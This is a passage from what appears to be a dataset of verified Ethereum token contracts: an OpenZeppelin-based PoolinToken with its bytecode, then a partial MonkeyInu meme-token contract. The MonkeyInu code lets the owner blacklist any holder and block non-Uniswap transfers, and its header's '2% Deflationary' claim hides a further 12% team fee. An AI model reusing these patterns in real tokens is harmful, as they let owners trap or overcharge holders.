* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20Basic.sol
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf (address who) public view returns (uint256);
function transfer (address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/BasicToken.sol
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
//require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/ERC20.sol
*/
contract ERC20 is ERC20Basic {
function allowance (address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve (address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/token/ERC20/StandardToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
//require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
* See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/lifecycle/Pausable.sol
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
// ----------------------------------------------------------------------------
contract PoolinToken is PausableToken {
string public constant name = "Poolin Miner Token";
string public constant symbol = "POOLIN";
uint8 public constant decimals = 18;
// total supply: 21*10^8
uint256 public constant K_INITIAL_SUPPLY = uint256(2100000000) * (uint256(10) ** decimals);
/**
* Token Constructor
*
*/
constructor() public {
totalSupply_ = K_INITIAL_SUPPLY;
balances[msg.sender] = K_INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, K_INITIAL_SUPPLY);
}
} | 0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a65780633f4ba83a146102d75780635c975abb146102ee578063661884631461031d57806370a0823114610382578063715018a6146103d95780638456cb59146103f05780638da5cb5b1461040757806395d89b411461045e578063a9059cbb146104ee578063d73dd62314610553578063dd62ed3e146105b8578063f2fde38b1461062f578063fc26088e14610672575b600080fd5b34801561010d57600080fd5b5061011661069d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106d6565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b610706565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610710565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb610742565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610747565b005b3480156102fa57600080fd5b50610303610807565b604051808215151515815260200191505060405180910390f35b34801561032957600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081a565b604051808215151515815260200191505060405180910390f35b34801561038e57600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061084a565b6040518082815260200191505060405180910390f35b3480156103e557600080fd5b506103ee610892565b005b3480156103fc57600080fd5b50610405610997565b005b34801561041357600080fd5b5061041c610a58565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561046a57600080fd5b50610473610a7e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b3578082015181840152602081019050610498565b50505050905090810190601f1680156104e05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104fa57600080fd5b50610539600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab7565b604051808215151515815260200191505060405180910390f35b34801561055f57600080fd5b5061059e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ae7565b604051808215151515815260200191505060405180910390f35b3480156105c457600080fd5b50610619600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b17565b6040518082815260200191505060405180910390f35b34801561063b57600080fd5b50610670600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b9e565b005b34801561067e57600080fd5b50610687610c06565b6040518082815260200191505060405180910390f35b6040805190810160405280601281526020017f506f6f6c696e204d696e657220546f6b656e000000000000000000000000000081525081565b6000600360149054906101000a900460ff161515156106f457600080fd5b6106fe8383610c17565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561072e57600080fd5b610739848484610d09565b90509392505050565b601281565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107a357600080fd5b600360149054906101000a900460ff1615156107be57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561083857600080fd5b6108428383611088565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108ee57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f357600080fd5b600360149054906101000a900460ff16151515610a0f57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600681526020017f504f4f4c494e000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610ad557600080fd5b610adf8383611319565b905092915050565b6000600360149054906101000a900460ff16151515610b0557600080fd5b610b0f83836114fd565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bfa57600080fd5b610c03816116f9565b50565b601260ff16600a0a637d2b75000281565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d5857600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610de357600080fd5b610e34826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ec7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f9882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611199576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061122d565b6111ac83826117f590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561136857600080fd5b6113b9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061144c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061158e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180e90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561173557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561180357fe5b818303905092915050565b6000818301905082811015151561182157fe5b809050929150505600a165627a7a723058201938601da94d245293c5e74196203c05bba6be3a00bf956436015e27b69515a30029 | {"success": true, "error": null, "results": {}} | 9,803 |
0x52dfc2b5fc4cef1d7bd28b4ddcb25800942b5375 | /**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-23
*/
//MonkeyInu (MonkeyInu)
//Powerful Bot Protect yes
//2% Deflationary yes
//Telegram: https://t.me/MonkeyInuOfficial
//Website: https://www.monkeyinu.com
//CG, CMC listing: Ongoing
//Fair Launch
//Community Driven - 100% Community Owned!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MonkeyInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MonkeyInu | t.me/MonkeyInuOfficial";
string private constant _symbol = "MonkeyInu\xF0\x9F\x99\x88";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
